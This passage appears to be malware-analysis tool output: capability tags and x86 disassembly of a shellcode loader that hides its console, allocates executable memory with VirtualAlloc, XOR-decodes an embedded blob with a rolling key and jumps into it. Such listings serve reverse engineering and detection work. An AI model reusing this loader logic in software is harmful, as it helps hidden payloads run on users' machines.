ret
xor eax, eax
pop ebp
ret
Function at 0x401318
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
mov eax, 0xa1f8
call fcn.00401a0c
call fcn.00401800
lea edi, [ebp - 0xa1e8]
mov esi, 0x403040
mov ecx, 0x2874
rep movsd dword es:[edi], dword [esi]
call sub.KERNEL32.dll_FreeConsole
lea esi, [ebp - 0xa1e8]
mov ebx, dword [ebp - 0x418]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x52e8
mov dword [esp], 0
call sub.KERNEL32.dll_VirtualAlloc
sub esp, 0x10
mov dword [ebp - 0xa1ec], eax
lea edi, [ebp - 0x418]
mov edx, eax
mov cl, byte [esi]
mov byte [edx], cl
inc edx
add esi, 2
cmp esi, edi
jne 0x401390
mov edx, dword [ebp - 0xa1ec]
add edx, 0x4ee8
mov ecx, 0x100
mov edi, edx
rep movsd dword es:[edi], dword [esi]
lea esi, [esi]
xor dword [eax], ebx
add ebx, 0x499602d2
add eax, 4
cmp eax, edx
jne 0x4013b4
call dword [ebp - 0xa1ec]
xor eax, eax
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
leave
lea esp, [ecx - 4]
ret